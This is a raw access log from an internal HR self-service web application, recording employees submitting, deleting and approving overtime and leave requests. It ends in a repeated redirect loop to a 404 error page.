"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1364043 HTTP/1.1" 302 - 192.168.12.46 - - [04/Dec/2025:10:19:55 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364043+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:19:55 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1364043+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 192.168.12.46 - - [04/Dec/2025:10:20:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [04/Dec/2025:10:20:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.46 - - [04/Dec/2025:10:20:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.895831805474457 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.895831805474457 HTTP/1.1" 200 16608 192.168.12.46 - - [04/Dec/2025:10:20:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.895831805474457 HTTP/1.1" 200 18820 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.895831805474457" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.895831805474457 HTTP/1.1" 200 18820 192.168.12.46 - - [04/Dec/2025:10:20:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.471765349922704 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.471765349922704 HTTP/1.1" 200 16608 192.168.12.46 - - [04/Dec/2025:10:20:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.471765349922704 HTTP/1.1" 200 18806 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.471765349922704" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.471765349922704 HTTP/1.1" 200 18806 192.168.12.46 - - [04/Dec/2025:10:20:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4322 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4322 192.168.12.46 - - [04/Dec/2025:10:20:55 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:55 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.12.46 - - [04/Dec/2025:10:20:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.12.46 - - [04/Dec/2025:10:20:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.12.46 - - [04/Dec/2025:10:20:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 192.168.12.46 - - [04/Dec/2025:10:20:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:20:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.46 - - [04/Dec/2025:10:21:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3321311025076569 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:21:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3321311025076569 HTTP/1.1" 200 16608 192.168.12.46 - - [04/Dec/2025:10:21:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3321311025076569 HTTP/1.1" 200 18806 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3321311025076569" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:21:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3321311025076569 HTTP/1.1" 200 18806 192.168.12.46 - - [04/Dec/2025:10:21:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8776602119893063 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:21:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8776602119893063 HTTP/1.1" 200 16608 192.168.12.46 - - [04/Dec/2025:10:21:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8776602119893063 HTTP/1.1" 200 18820 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8776602119893063" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:21:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8776602119893063 HTTP/1.1" 200 18820 192.168.12.46 - - [04/Dec/2025:10:21:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4322 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:21:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4322 192.168.12.46 - - [04/Dec/2025:10:21:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [04/Dec/2025:10:21:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39933 192.168.40.52 - - [04/Dec/2025:10:27:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.52 - - [04/Dec/2025:10:27:24 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:24 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.52 - - [04/Dec/2025:10:27:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [04/Dec/2025:10:27:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.52 - - [04/Dec/2025:10:27:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14333 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14333 192.168.40.52 - - [04/Dec/2025:10:27:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4503 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4503 192.168.40.52 - - [04/Dec/2025:10:27:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 36317 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 36317 192.168.40.52 - - [04/Dec/2025:10:27:47 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:47 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132723%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132723&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132723%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132723&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [04/Dec/2025:10:27:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [04/Dec/2025:10:27:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 